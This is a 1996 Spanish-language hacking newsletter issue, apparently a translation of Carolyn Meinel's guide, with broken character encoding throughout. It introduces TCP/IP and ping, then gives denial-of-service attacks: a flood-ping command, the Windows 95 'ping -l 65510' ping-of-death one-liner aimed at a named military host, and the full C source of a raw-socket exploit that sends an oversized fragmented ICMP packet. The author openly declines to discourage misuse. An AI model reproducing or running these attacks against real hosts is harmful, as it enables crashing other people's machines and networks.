GU�A DEL HACKING (mayormente) INOFENSIVO
Vol. 2 Numero 3
Introducci�n a TCP/IP. �Eso significa paquetes! �Datagramas! Se explica el exploit de denegaci�n de servicio por paquete de ping gigante. Pero este hack es mucho menos inofensivo que la mayor�a. No intentes esto en casa...
Si has estado en la lista Happy Hacker por un momento, habr�s estado recibiendo elementos dirigidos de la lista Bugtraq acerca de un nuevo exploit de paquetes ping.
Si esto te ha estado sonando a galimat�as, rel�jate. Es realmente muy sencillo. De hecho, es tan simple que si usas Windows 95, en cuanto termines este texto sabr�s un simple comando de una sola l�nea que podr�s usar para tirar abajo muchos hosts y routers de Internet.
ADVERTENCIA PUEDES IR A LA C�RCEL: Esta vez no voy a implorar a los genios malignos "quiero-ser-hacker" en la lista para que sean virtuosos y resistan la tentaci�n de emplear mal la informaci�n que estoy apunto de darles. �Mira si me preocupa! Si uno de esos t�os es pillado tirando abajo miles de hosts y routers de Internet, no solo ir�n a la c�rcel y tendr�n una gran multa. Todos nosotros pensaremos que el o ella es un/a gran capullo. Este exploit es un comando desde Windows 95 nada complicado y de una sola l�nea. Si, el sistema operativo que esta dise�ado para retrasados mentales desorientados. As� que no hay nada de elite sobre este hack. Lo que es elite es ser capaz de desbaratar este ataque.
NOTA PARA NOVATOS: Si los paquetes, datagramas, y TCP/IP no son exactamente tus entra�ables colegas aun, cr�eme, necesitas de verdad meterte en la cama con ellos para poderte llamar hacker. As� que qu�date aqu� para algo de material t�cnico. Cuando lo tengas, tendr�s la satisfacci�n de saber que puedes sembrar estragos en Internet, pero son muy elite para llevarlos hacerlo. Mas aun, este exploit ha sido descubierto recientemente -- como hace unos d�as. As� que pronto sabr�s cosas que la mayor�a de los hackers elite ni siquiera han o�do aun.
Un paquete es un modo de mandar informaci�n electr�nica que mantiene fuera los errores. La idea es que ninguna tecnolog�a de transmisi�n es perfecta. �Has jugado alguna vez al juego "tel�fono"? Re�nes una docena de gente o as� en un circulo y la primera persona le susurra un mensaje al segundo. Algo como "El bollo es la forma m�s peque�a de cereal". La segunda persona le susurra al tercero, "Un bollo es la forma m�s peque�a de estafar". La tercera susurra, "El ron es la forma m�s peque�a de beber". Y as�. Es muy divertido el descubrir lo mucho que un mensaje puede mutar mientras recorre el circulo.
Pero entonces, por ejemplo, recibes email, preferir�s que no este todo hecho un l�o. As� que el ordenador que manda el email lo divide en peque�os trozos llamados datagramas. Entonces envuelve las cosas alrededor de cada datagrama que le dice a que ordenadores debe dirigirse, de donde proced�a, y que compruebe si el datagrama ha podido ser truncado. A estos embalajes de datagramas envueltos se les llaman "paquetes".
Ahora si el ordenador que te manda el email fuera a "embalar" un mensaje realmente largo en tan solo un paquete, las posibilidades de que se desordene todo en su camino al otro ordenador son muy grandes. Un poco chungo. As� que cuando el ordenador que lo recibe comprueba el paquete y encuentra que se desordeno, lo tirara y le dir� al otro ordenador que lo vuelva a mandar. Podr�a llevar mucho tiempo hasta que este paquete gigante llegue intacto.
Pero si el mensaje esta dividido en un mont�n de peque�os trozos y envueltos en manojos de paquetes, la mayor�a de ellos estar�n bien y el ordenador destino los guardara. Entonces le dir� al ordenador remitente que reenv�e solo los paquetes que estaban hechos un l�o. Entonces cuando todos los trozos lleguen finalmente all�, el ordenador destinatario los une en el orden correcto y all� esta, ah� esta el mensaje completo, email sin errores.
TCP/IP significa Transmission Control Protocol/Internet Protocol. Le dice a los ordenadores que est�n conectados a Internet como empaquetar los mensajes en paquetes y como leer paquetes estos paquetes de otros ordenadores. El ping usa TCP/IP para hacer sus paquetes.
"Ping" es un comando que manda una sonda de tu ordenador a otro ordenador para ver si esta encendido y conectado a la misma red a la que lo estas tu. En Internet hay unos 10 millones de ordenadores a los que puedes hacer ping.
Ping es un comando que puedes dar, por ejemplo, desde los sistemas operativos UNIX, Windows 95 y Windows NT. Es parte del Internet Control Message Protocol (ICMP), que es usado para localizar aver�as de redes TCP/IP. Lo que hace es decir a un ordenador remoto que devuelva el ping. Mas aun, algunas formas del comando ping te dir�n adem�s lo que tarda un mensaje en ir a ese ordenador y volver de vuelta.
Pero �c�mo sabe tu ordenador que el ping que acaba de mandar ha vuelto del ordenador apuntado? El datagrama es la respuesta. El ping enviado es un paquete, y como cualquier paquete esta envuelto alrededor de un datagrama. Si el ping devuelto mantiene este mismo datagrama, sabes que fue tu ping que acaba de ser devuelto.
El formato b�sico de este comando es simplemente:
ping hostname
donde "hostname" es la direcci�n de Internet del ordenador que quieres comprobar.
Cuando doy este comando desde el UNIX Release 4.1 de Sun, la respuesta que recibo es "hostname is alive".
CONSEJO T�CNICO: Debido a los poderes destructivos del ping, muchos proveedores de servicios de Internet esconden el programa ping en sus cuentas shell donde los novatos desorientados no puedan meter sus manos. Si tu cuenta shell dice "comando no encontrado" cuando metes el comando ping, prueba:
/usr/etc/ping hostname
Si esto no funciona, qu�jate al servicio t�cnico de tu proveedor.
NOTA PARA NOVATOS: �Dices que no puedes encontrar un modo de hacer ping desde tu servicio ON-LINE? Eso puede ser quiz�s debido a que no tienes cuenta shell. Pero hay una cosa que realmente necesitas para hackear: ���UNA CUENTA SHELL!!!
La raz�n por la cual los hackers se r�en de la gente con cuentas en America Online es por que ese proveedor no da cuentas shell. Esto es debido a que America Online quiere que se�is buenos chicos y chicas y no hackeeis.
Una "cuenta shell" es una cuenta de Internet en la que tu ordenador se convierte en un terminal de uno de los hosts de tu proveedor. Una vez estas en el "shell" puedes dar comandos al sistema operativo (que normalmente es UNIX) como si estuvieras sentado all� en la consola de uno de los hosts de tu proveedor.
Puede que ya tengas una cuenta shell pero simplemente no sepas como meterte en ella. Llama al soporte t�cnico de tu proveedor para averiguar si tienes una y como conectarte.
Hay toda clase de variaciones del comando ping. Y, sabes algo, donde quiera que hay un comando que ejecutas en Internet que tenga muchas variaciones, puedes simplemente contar con que haya algo hackeable ah�. �Muhahaha!
El flood ping es un ejemplo simple. Si tu sistema operativo te permite dar el comando:
-> ping -f hostname
manda un verdadero aluvi�n de pings, tan r�pido como el host de tu proveedor pueda hacerlo. Esto mantiene al host al que has apuntado tan ocupado devolviendo tus pings que poco m�s puede hacer. Tambi�n pone una carga muy pesada en la red.
Hackers con habilidades primitivas algunas veces se unir�n y usaran varios de sus ordenadores a la vez para hacer ping simult�neamente al ordenador host de alguna v�ctima de Internet. Esto generalmente mantendr� al ordenador de la v�ctima muy ocupado para hacer cualquier otra cosa. Puede incluso venirse abajo. Sin embargo, la parte mala (desde el punto de vista de los atacantes) es que mantiene al ordenador atacante atado tambi�n.
NOTA NETIQUETTE: Hacer flood ping a un ordenador es extremadamente rudo. Que te cazen haciendo esto y tendr�s suerte si lo peor que ocurre es que tu proveedor de servicios on-line cierra tu cuenta. Haz esto a un hacker serio y necesitaras un transplante de identidad.
Si por accidente llegas a empezar un tipo de flood ping, puedes detenerlo presionando la tecla control y "c" (control-c).
CONSEJO DE GENIO MALIGNO: �Hazte un ping a ti mismo! Si usas alg�n tipo de UNIX, tu sistema operativo te dejara usar tu ordenador para hacerle simplemente casi todo lo que �l puede hacer a otros ordenadores. La direcci�n de red que te manda de vuelta a tu propio ordenador es localhost (o 127.0.0.1). Aqu� va un ejemplo de como uso localhost:
<slug> [65] ->telnet localhost
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.
SunOS UNIX (slug)
login:
Ves, vuelvo de nuevo a la secuencia de login del ordenador llamado "slug".
Ahora me hago un ping a m� mismo:
<llama> [68] ->/usr/etc/ping localhost
localhost is alive
Esto me da el mismo resultado que si diera el comando:
<llama> [69] ->/usr/etc/ping llama
llama.swcp.com is alive
CONSEJO MUHAHAHA: �Quieres tirar de la cadena de alguien? Dile que haga ftp a 127.0.0.1 y que se conecte usando su propio nombre de usuario y password para pillar �warez cojonudo! Mi exmarido Keith Henson lo hizo en la Iglesia de la Cienciologia. Los miembros hicieron ftp a 127.0.0.1 y descubrieron todas sus escrituras con Copyright. Asumieron que esto estaba en el ordenador de Keith, no en el suyo. Estaban *tan* seguros de que tenia sus escrituras que le llevaron a juicio. El juez, cuando se dio cuenta de que estaban simplemente haciendo un loop en su propio ordenador, literalmente les mando de la sala descojon�ndose de ellos.
Para una transcripci�n buen�sima o cinta de audio de esta sesi�n de juicio infame, manda un email a [email protected]. Esa es la direcci�n email de Keith. �Me quito el sombrero por un superhacker!
Sin embargo, el exploit del paquete ping descomunal que estas apunto de aprender puede incluso hacer mas da�o a algunos hosts que una banda de conspiradores de ping flood. Y lo har� sin necesidad de reunir los ordenadores de los atacantes por mas del segundo que tarda l en enviar un solo ping.
El modo m�s f�cil de hacer esto es correr Windows 95. �No lo tienes?
Generalmente podr�s encontrar un almac�n El Cheapo que te lo mandara por $99.
Para hacer esto, primero configura tu sistema Windows 95 para que puedas establecer una conexi�n PPP o SLIP con Internet usando el programa de Acceso Telef�nico a Redes en el icono de Mi PC. Necesitaras algo de ayuda del soporte t�cnico de tu proveedor para configurar esto. Debes hacerlo de este modo o este hack no funcionara. Tu dialer de America Online *definitivamente* no funcionara.
NOTA PARA NOVATOS: Si tu conexi�n a Internet te permite ejecutar un browser que muestre gr�ficos/fotos, puedes usar tu numero de llamada con el programa de Acceso Telef�nico a Redes de tu Windows 95 para pillar una conexi�n o bien PPP o SLIP
Lo siguiente, con�ctate a Internet. Pero no ejecutes ning�n browser o lo que sea. En vez de eso, una vez que el programa de Acceso Telef�nico a Redes te diga que estas conectado, haz click en el bot�n "Inicio" y vete a "MS-DOS".
Abre esta ventana DOS. Recibir�s el prompt:
C:\windows\>
Ahora primeramente hagamos esto de la manera de buen ciudadano. En este prompt puedes teclear el comando "ping":
C:\windows\ping hostname
donde "hostname" es la direcci�n de alg�n ordenador de Internet. Por ejemplo, puedes hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, que esta detr�s de alg�n filosofo Griego oscuro.
Ahora si ocurre que sabes la direcci�n de uno de los ordenadores de Sadam Hussein, sin embargo, puede que quieras dar el comando:
c:\windows\ping -l 65510 saddam_hussein's.computer.mil
�Realmente no lo hagas a un ordenador real! Algunos, pero no todos, los ordenadores se vendr�n abajo y se mantendr�n o bien colgados o se resetear�n cuando reciban este ping. Otros continuaran funcionando alegremente, y de repente se ir�n abajo horas mas tarde.
�Por que? Ese extra a�adido -l 65510 crea un datagrama gigante que es envuelto dentro del paquete ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama id�ntico, se hacen un verdadero l�o.
Si quieres saber todos los detalles sangrientos de este exploit ping, incluyendo el c�mo proteger tus ordenadores de �l, comprueba: http://www.sophist.demon.co.uk/ping
Ahora, hay otras formas de crear un datagrama ping gigante adem�s de usar Windows 95. Por ejemplo, si corres alguna versi�n UNIX de FreeBSD o Linux en tu PC, puedes ejecutar este programa, que fue posteado a la lista Bugtraq.
From: Bill Fenner <[email protected]>
To: Multiple recipients of list BUGTRAQ <[email protected]>
Subject: Ping exploit program
Ya que hay gente que no tiene necesariamente cajas de Windows 95 por ah�, yo (Fenner) escrib� el siguiente programa exploit. Requiere un raw socket layer que no interfiera con el paquete, as� que BSD 4.3, SunOS y Solaris est�n fuera. Funciona bien en sistemas 4.4BSD. Puede funcionar en Linux si lo compilas con -DREALLY_RAW.
Eres libre de hacer con esto lo que quieras. Por favor usa esto solo para testear tus propias maquinas, y no para tirar las de otros.
* win95ping.c
*
* Simulate the evil win95 "ping -l 65510 buggyhost".
* version 1.0 Bill Fenner <[email protected]> 22-Oct-1996
*
* This requires raw sockets that don't mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
(Fin del mensaje del exploit ping de Fenner.)
NOTA PUEDES IR A LA C�RCEL: No s�lo este hack no es �lite, si est�s leyendo esto no sabes lo suficiente para evitar ser cazado por llevar a cabo este hack. Por otro lado, si fueras a hacerlo a un host de Internet en Iraq...
Por supuesto hay muchas otras cosas guay que puedes hacer con el ping. Si tienes una cuenta shell, puedes descubrir un mont�n de cosas acerca del ping dando el comando:
man ping
De hecho, puedes obtener un mont�n de detalles de cualquier comando de UNIX con "man".
Divi�rtete con el ping -- y �se bueno! Pero recuerda, no estoy implorando a los genios malignos quiero-ser-hacker que sean buenos. Mira si me preocupo cuando te cazen...
�Quieres ver n�meros atrasados de la Gu�a del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. �Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." �Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!
Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GU�A DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.
| Indice | Mi Curr�culum Vitae | Descarga de archivos | Volver a Gu�as de C. Meinel | Album de fotos | Buscadores |